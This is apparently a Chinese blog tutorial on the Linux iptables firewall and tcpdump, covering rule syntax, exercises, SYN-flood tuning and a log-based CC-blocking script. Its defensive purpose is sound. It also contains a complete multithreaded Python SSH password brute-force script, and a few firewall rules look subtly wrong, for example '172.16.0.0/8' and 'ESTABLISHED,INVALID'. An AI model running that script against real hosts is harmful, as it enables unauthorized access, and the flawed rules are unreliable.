iptables(防火墙)

iptables


附件
CC攻击器-邪恶十六进制2.0 模拟cc攻击
python写的暴力破解的脚本 模拟暴力破解攻击

linux的防火墙 iptables

名词解释
dip|sip source(源) destination(目的,目标)
sport|dport

netfilter(iptables)

netfilter --工作在内核软件,实现数据包的过滤。
iptables --工作应用层一个软件,用来控制netfilter。
1.netfilter/iptables包过滤防火墙(tcp/ip四层)
1)应用层 --通过软件为用户提供接口
2)传输层 --提供可靠或不可靠的数据传输(TCP/UDP)使用端口来标示服务类型 sport dport
3)网络层 --提供路由和选址(icmp) sip dip
4)数据链路层 --传输数据帧(MAC) s _mac arp写 在局域网内泛洪 来找到我们对应的MAC
5)物理层 --传输透明比特流 eth0 eth1
过滤的依据: s_mac/sip/dip/sport/dport/状态(三次握手/四次断开)SYN DDOS攻击怎么防御我们DDOS 小流量
netfilter的逻辑架构: nat 10

image

netfilter防火墙的元素及关系:
netfilter==>表==>链==>规则

三张表:

filter 防火墙表,允许和拒绝都在这里实现
nat 地址转换
mangle 数据包整形

五条链:

INPUT 本机进站的数据流
OUTPUT 本机出站的数据流
FORWARD 路由的数据流
POSTROUTING 路由后的数据流
PREROUTING 路由前的数据流

表跟链的对应关系:

filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING

mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING

四种数据流:

本机进站的数据流:packet-->ethX-->PREROUTING-->INPUT-->本机
本机出站的数据流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的数据流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回来: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本机访问本机: 本机-->packet-->lo-->PREROUTING-->INPUT-->本机

本机-->packet-->OUTPUT-->POSTROUTING--lo-->本机

表的匹配顺序:

mangle-->nat-->filter

防火墙规则匹配顺序:

1.按顺序匹配,如果第一条匹配到了就直接执行这条规则的动作,不往下匹配其它规则.

2.如果第一条匹配不到,第二条也匹配不到,继续往下匹配直到找到匹配的规则,如果找不到匹配默认规则.

传输层:协议(tcp/udp)
端口(sport/dport)
网络层:
IP地址(sip/dip/icmp) ping
数据链路层:
mac地址(--mac-source)
物理层:
从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址

iptables操作命令

#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
       iptables -[RI] chain rulenum rule-specification [options]
       iptables -D chain rulenum [options]
       iptables -[LFZ] [chain] [options]
       iptables -[NX] chain
       iptables -E old-chain-name new-chain-name
       iptables -P chain target [options]
       iptables -h (print this help information)

  --append  -A chain            追加规则
  --delete  -D chain            删除规则
  --delete  -D chain rulenum    删除指定序号的规则
                                
  --insert  -I chain [rulenum]  插入一条规则(default 1=first) 插入会插入表的第一行
  --replace -R chain rulenum    替换一条规则
                                
  --list    -L [chain]          显示出链或者链中的规则
  --flush   -F [chain]          在一个链或者所有链中清空规则
  --zero    -Z [chain]          清空计数
  --new     -N chain            创建用户自定义链
  --delete-chain
            -X [chain]          删除用户自定义链
  --policy  -P chain target     指定默认规则
                                Change policy on chain to target
  --rename-chain
            -E old-chain new-chain
                                     重命名用户自定义链
Options:
  --proto       -p [!] proto    指定协议,!代表取反
  --source      -s [!] address[/mask]   --指定源地址
                                source specification
  --destination -d [!] address[/mask]   --指定目标地址
                                destination specification
  --in-interface -i [!] input name[+]   --指定数据从哪个网口进来
                                network interface name ([+] for wildcard)
  --jump        -j target                       --匹配动作
                                target for rule (may load target extension)
  --goto      -g chain
                              jump to chain with no return
  --match       -m match                        --扩展匹配
                                extended match (may load extension)
  --numeric     -n              --端口和IP以数值方式显示,不作反解
  --out-interface -o [!] output name[+] --指定数据从哪个网口出去
                                network interface name ([+] for wildcard)
  --table       -t table        --指定使用哪个表 (default: `filter')
  --verbose     -v              --显示详细信息
  --line-numbers                --显示规则的序号
  --exact       -x              expand numbers (display exact values)
  • 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
  • 追加 插入 替换 删除
追加规则:
# iptables -t filter -A INPUT -i lo -j ACCEPT

插入规则:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT     --插入成为第一条
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT       --插入成为第三条规则

替换规则:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT       --替换成为指定规则
    
删除规则:
# iptables -t filter -D INPUT 2                 --删除指定链指定编号的规则

+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT   插入默认第二条
# iptables -t filter -I INPUT  -i eth3 -j ACCEPT    插入默认第一条
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT  替换默认第一条
#iptables -t filter -D INPUT 1                  删除默认第一条
# iptables -t filter -F INPUT                   清空filter所有INPUT链
#iptables -t filter -F              

#iptables -L INPUT -n --line -v

空规则:
    1、清空一张表
# iptables -t filter -F
注意不会清除默认规则

    2、清空一条链中的规则
# iptables -t filter -F INPUT

新建/删除用户自定义的链:
# iptables -t filter -N uplooking   新建
# iptables -t filter -X uplooking       删除
# iptables -t filter -X             清空filter表中所有用户自定义链
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默认规则:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP

1、iptables扩展匹配

  1. iptables(user space)/netfilter(kernel space)
  2. netfilter组成(表(功能模块)/链/规则)
    filter(INPUT/OUTPUT/FORWARD) 过滤
    nat(PREROUTING/POSTROUTING/OUTPUT) 地址转换
    mangle(5个链 ) 更封装层数据包结构
    -->PREROUTING-->FORWARD-->POSTROUTING-->
    INPUT | | OUTPUT
    本机

规则的匹原则:

1、自上而下按顺序匹配
2、如果匹配到某条规则,执行这个规则动作,就不往后匹配其它规则
3、如果列表的所有的规则都匹配不到,则匹配默认规则
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丢弃
REJECT 明示拒绝
SNAT 基于源地址的nat转换,其作用是将ip数据包的源地址转换成另外一个地址
DNAT 目的地址转换 其作用是将ip数据包的目标地址转换成另外一个地址
应用层
传输层(tcp/udp/sport/doprt/ tcp6个控制位匹配)
网络层(-s/-d/icmp)
数据链路层(mac)
物理层(-i/-o)

扩展匹配

1、通用匹配 -i -o -s -d
-i eth0 从这块网卡流入的数据 流入一般用INPUT和PREROUING
-o eth0 从这块网卡流出的数据 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目标IP
2、隐含匹配 tcp udp icmp sport dport
3、扩展匹配 -m mac | iprange | state
-m multiport:表示启用多端口扩展 之后我们就可以启用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丢弃 nmap
一般我们多用DROP来隐藏我们的身份,以及隐藏我们的链表
REJECT:明示拒绝
ACCEPT:接受
custom_chain:转向一个自定义的链
DNAT
SNAT
MASQUERADE:源地址伪装 nat实验的时候
REDIRECT:重定向:主要用于实现端口重定向
MARK:打防火墙标记的
RETURN:返回
在自定义链执行完毕后使用返回,来返回原规则链。

练习题1:

只要是来自于172.16.85.14的都允许访问我本机的172.16.100.1的SSHD服务
分析:首先肯定是在允许表中定义的。因为不需要做NAT地址转换之类的,然后查看我们SSHD服务,在22号端口上,处理机制是接受,对于这个表,需要有一来一回两个规则,如果我们允许也好,拒绝也好,对于访问本机服务,我们最好是定义在INPUT链上,而OUTPUT再予以定义就好。(会话的初始端先定义),所以加规则就是:
定义进来的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定义出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
将默认策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

1、允许ping 127.0.0.1 和 允许 ping 10.1.1.0/24 ,其他服务都禁止

# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP

或者
# iptables -P INPUT DROP  《--定义默认策略,当在规则表里找不到匹配的规则就采取策略的动作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT



2、只运访问本机的SSH服务(只允许远程ssh登录到本机)

# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT  <---定义端口的参数 --dport
    还有就是  
定义源端口 --source-port  --sport
定义目的端口 --destination-port --dport

3、定义连续端口
    iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT  <---允许访问 20到100的端口


4、定义多端口 <---引入一个“模块”的概念
    iptables -A INPUT -m multiport -p tcp --dports  22,80,110 -j ACCEPT
        -m 指定模块 
        multiport 支持多端口的扩展模块

5、允许和内网的客户(10.1.1.0/24)进行传输数据(包括ping)
    iptables -P INPUT DROP
    iptables -A INPUT -p ALL -i eth0  -s 10.1.1.0/24 -j ACCEPT

6、决绝访问色情网站www.baidu.com
    iptables -A OUTPUT -d www.baidu.com  -j DROP

7、通过硬件地址进行过滤
    -m  mac  --mac-source [!] address
    iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
    
    注意REJECT 和 DROP 区别

    
8、定义连续的IP地址
    iptables -A INPUT  -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP

9、对外只开放web服务,其他一切不放行,不允许进来也不允许出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT  <--tcpdump tcp port 80 只看到进来的,没有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT

10、综合应用:
    本机需要开放的服务有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服务。
    其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允许所有网络的人访问;
    ssh 只允许本地局域网中的某个MAC地址访问
    只允许本地局域网的用户发送邮件
    只允许本地局域网的用户查询DNS


# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT

练习题icmp:

icmp:0 8
0:应答请求
8:ping请求
icmp对照表
假如我们允许自己ping别人,但是别人ping自己ping不通如何实现呢?
分析:对于ping这个协议,进来的为8(ping),出去的为0(响应).我们为了达到目的,需要8出去,允许0进来

在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
在进来的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP  
iptables -A INPUT -p icmp --icmp-type 8 -j DROP  
小扩展:对于127.0.0.1比较特殊,我们需要明确定义它  
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模块的位置  
-m connlimit:每个IP的并发连接数(TCP) --关注的是新发起的连接(NEW --syn)  
mount -o loop rhel55.iso /mnt  
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT  
-m icmp:ping包请求与发送  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -j DROP  
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==&gt; 0 相当于 echo-reply  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==&gt; 8 相当于 echo-request  
-m ipranges:IP范围  
[!] --src-range ip-ip Match source IP in the specified range  
[!] --dst-range ip-ip Match destination IP in the specified range  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP  
-m limit:速率限制  
[root@ ~]# watch iptables -L INPUT -nv  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP  
-m mac:匹配源地址的 MAC 地址  
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP  
-m multiport:多端口  
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP  
-m state(NEW/ESTABLISHED/RELATED/INVALID):  
NEW --第一个数包,跟TCP状态无关  
ESTABLISHED --第二个数据包  
RELATED --已经发生关系的数据(FTP)  
INVALID --无效数据包  

个人简单的防火墙(状态):

ESTABLISHED 不允许其他主机发起的主动访问,只允许本地主机主动发起的发功能文以及lo通讯
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已发生关系的
(1)vsftpd数据传输(考虑模式,默认是主动模式)

主动模式:

21 --控制端口
20 --数据端口

被动模式:

21 --控制端口
1024+ --数据端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模块的支持,内核才能支持 RELATED状态
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被动模式/主动:
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加载FTP状态自动跟踪模块,它可以完成自动切换端口
-m string:字符串内容进行匹配(局限大,效率低,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:时间限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP


抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位码即tcp标志位,有6种标示:

SYN(synchronous建立联机)

ACK(acknowledgement 确认)

PSH(push传送)

FIN(finish结束)

RST(reset重置)

URG(urgent紧急)

Sequence number(顺序号码)

Acknowledge number(确认号码)
三次握手状态意义:
LISTEN - 侦听来自远方TCP端口的连接请求;
SYN-SENT -在发送连接请求后等待匹配的连接请求;
SYN-RECEIVED - 在收到和发送一个连接请求后等待对连接请求的确认;
ESTABLISHED- 代表一个打开的连接,数据可以传送给用户;
FIN-WAIT-1 - 等待远程TCP的连接中断请求,或先前的连接中断请求的确认;
FIN-WAIT-2 - 从远程TCP等待连接中断请求;
CLOSE-WAIT - 等待从本地用户发来的连接中断请求;
CLOSING -等待远程TCP对连接中断的确认;
LAST-ACK - 等待原来发向远程TCP的连接中断请求的确认;
TIME-WAIT -等待足够的时间以确保远程TCP接收到连接中断请求的确认;
CLOSED - 没有任何连接状态;
TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接,如图1所示。

(1)第一次握手:建立连接时,客户端A发送SYN包(SYN=j)到服务器B,并进入SYN_SEND状态,等待服务器B确认。

(2)第二次握手:服务器B收到SYN包,必须确认客户A的SYN(ACK=j+1),同时自己也发送一个SYN包(SYN=k),即SYN+ACK包,此时服务器B进入SYN_RECV状态。

(3)第三次握手:客户端A收到服务器B的SYN+ACK包,向服务器B发送确认包ACK(ACK=k+1),此包发送完毕,客户端A和服务器B进入ESTABLISHED状态,完成三次握手。

完成三次握手,客户端与服务器开始传送数据。


四次挥手是断开连接
由于TCP连接是全双工的,因此每个方向都必须单独进行关闭。这个原则是当一方完成它的数据发送任务后就能发送一个FIN来终止这个方向的连接。收到一个 FIN只意味着这一方向上没有数据流动,一个TCP连接在收到一个FIN后仍能发送数据。首先进行关闭的一方将执行主动关闭,而另一方执行被动关闭。

CP的连接的拆除需要发送四个包,因此称为四次挥手(four-way handshake)。客户端或服务器均可主动发起挥手动作,在socket编程中,任何一方执行close()操作即可产生挥手操作。

(1)客户端A发送一个FIN,用来关闭客户A到服务器B的数据传送。

(2)服务器B收到这个FIN,它发回一个ACK,确认序号为收到的序号加1。和SYN一样,一个FIN将占用一个序号。

(3)服务器B关闭与客户端A的连接,发送一个FIN给客户端A。

(4)客户端A发回ACK报文确认,并将确认序号设置为收到序号加1。

  1. 为何主机A在发送了最后的确认后没有进入CLOSED状态,反而进入了一个2MSL的TIME-WAIT。主要作用有两个:第一,确保主机A最后发送的确认能够到达主机B。如果处于LAST-ACK状态的主机B一直收不到来自主机A的确认,它会重传断开连接请求,然后主机A就可以有足够的时间去再次发送确认。但是这也只能尽最大力量来确保能够正常断开,如果主机A的确认总是在网络中滞留失效,从而超过了2MSL,最后也无法正常断开;第二,如果主机A在发送了确认之后立即进入CLOSED状态。假设之后主机A再次向主机B发送一条连接请求,而这条连接请求比之前的确认报文更早地到达主机B,则会使得主机B以为这条连接请求是在旧的连接中A发出的报文,并不看成是一条新的连接请求了,即使得这个连接请求失效了,增加2MSL的时间可以使得这个失效的连接请求报文作废,这样才不影响下次新的连接请求中出现失效的连接请求。
  2. 在下面的抓包实验中,为什么断开连接请求报文只有三个,而不是四个。因为在TCP连接过程中,确认的发送有一个延时(即经受延时的确认),一端在发送确认的时候将等待一段时间,如果自己在这段事件内也有数据要发送,就跟确认一起发送,如果没有,则确认单独发送。而我们的抓包实验中,由服务器端先断开连接,之后客户端在确认的延迟时间内,也有请求断开连接需要发送,于是就与上次确认一起发送,因此就只有三个数据报了。

DDOS原理,及轻量级别攻击的防止

# vim /etc/sysctl.conf

net.ipv4.tcp_max_syn_backlog = 8096 --超过最大连接数后产生新syn队列的长度
net.ipv4.tcp_synack_retries = 2 --syn确认的重试次数
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外连接的端口范围。缺省情况下很小:32768到61000,改为1024到65000。
net.ipv4.tcp_syncookies = 1 --表示开启SYNCookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;
net.ipv4.tcp_tw_reuse = 1 --表示开启重用。允许将TIME-WAITsockets重新用于新的TCP连接,默认为0,表示关闭;
net.ipv4.tcp_tw_recycle = 1 --表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。
net.ipv4.tcp_max_tw_buckets=5000--表示系统同时保持TIME_WAIT套接字的最大数量,如果超过这个数字,TIME_WAIT套接字将立刻被清除并打印警告信息。默认为180000,改为5000。
sysctl -p
1、通过iptables防止轻量级别的DDOS
-m limit
-m connlimit
2、DDOS的原理,三次握手(客户端第三次不回应服务端)
3、通过内核增大TCP缓冲区,支持更多的连接。
4、增加更强大的硬件防火墙,用于丢弃(过滤)掉不正常syn请求,搭建负载均衡集群,另外保证你的外网有足够大的带宽
第一种 一

从哪个网卡出去 -o

传输层:协议(tcp/udp)
端口(sport /dport)
网络层:
IP地址(sip /dip /icmp) ping
数据链路层:
mac地址(--mac-source)
物理层:
从哪个网卡进来 -i eth0 eth1 服务器2个地址 外网地址 一个内网地址
从哪个网卡出去 -o

iptables防御cc攻击脚本

#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi

iptable通用脚本

#!/bin/bash

# Descript:The Firewall Script.

iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT  
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
  • 使用python多线程暴力破解linux密码
#!/bin/python
import optparse  
import time  
from threading import *  
from pexpect import pxssh  
  
maxConnections = 100 
connection_lock = BoundedSemaphore(value=maxConnections)  
  
Found = False  
Fails = 0  
  
def connect(host, user, password, release):  
    global Found  
    global Fails  
  
    try:  
        s = pxssh.pxssh()  
        s.login(host, user, password)  
        print '[+] Password Found: ' + password  
        Found = True  
    except Exception, e:  
        if 'read_nonblocking' in str(e):  
            Fails += 1  
            time.sleep(5)  
            connect(host, user, password, False)  
        elif 'synchronize with original prompt' in str(e):  
            time.sleep(1)  
            connect(host, user, password, False)  
  
    finally:  
        if release: connection_lock.release()  
  
def main():  
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'  
                              )  
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')  
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')  
    parser.add_option('-u', dest='user', type='string', help='specify the user')  
  
    (options, args) = parser.parse_args()  
    host = options.tgtHost  
    passwdFile = options.passwdFile  
    user = options.user  
  
    if host == None or passwdFile == None or user == None:  
        print parser.usage  
        exit(0)  
          
    fn = open(passwdFile, 'r')  
    for line in fn.readlines():  
        if Found:  
            print "[*] Exiting: Password Found"  
            exit(0)  
        if Fails > 5:  
            print "[!] Exiting: Too Many Socket Timeouts"  
            exit(0)  
  
        connection_lock.acquire()  
        password = line.strip('\r').strip('\n')  
        print "[-] Testing: "+str(password)  
        t = Thread(target=connect, args=(host, user, password, True))  
        child = t.start()  
  
if __name__ == '__main__':  
    main()  

tcpdump 抓包工具

1)tcpdump(传输/网络层)

tcpdump -i eth0

tcpdump -i eth0 -vnn

-v:显示包含有TTL,TOS值等等更详细的信息

-n:不要做IP解析为主机名

-nn:不做名字解析和端口解析

更有针对性的抓包:

针对IP,网段,端口,协议

tcpdump -n -i eth0 -vnn host 192.168.0.154 --主机地址里边只要包含地址有:192.168.0.154

tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一个网段数据包

tcpdump -i eth0 -vnn port 22

tcpdump -i eth0 -vnn udp

tcpdump -i eth0 -vnn icmp ping

tcpdump -i eth0 -vnn arp



$x = y$$x = y$ # tcpdump -i eth0 -vnn ip

tcpdump -n -i eth0 -vnn src host 192.168.0.154

tcpdump -i eth0 -vnn dst host 192.168.0.154

tcpdump -i eth0 -vnn src port 22

tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22

抓包最主要的功能在于调试,比如在调试某个服务的时候 明明服务起来了 但是不知道为什么链接不上 可以通过抓包工具来测试看看请求包有没有过来服务器,来判断是传输过程中失败了 还是被服务器拒绝了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容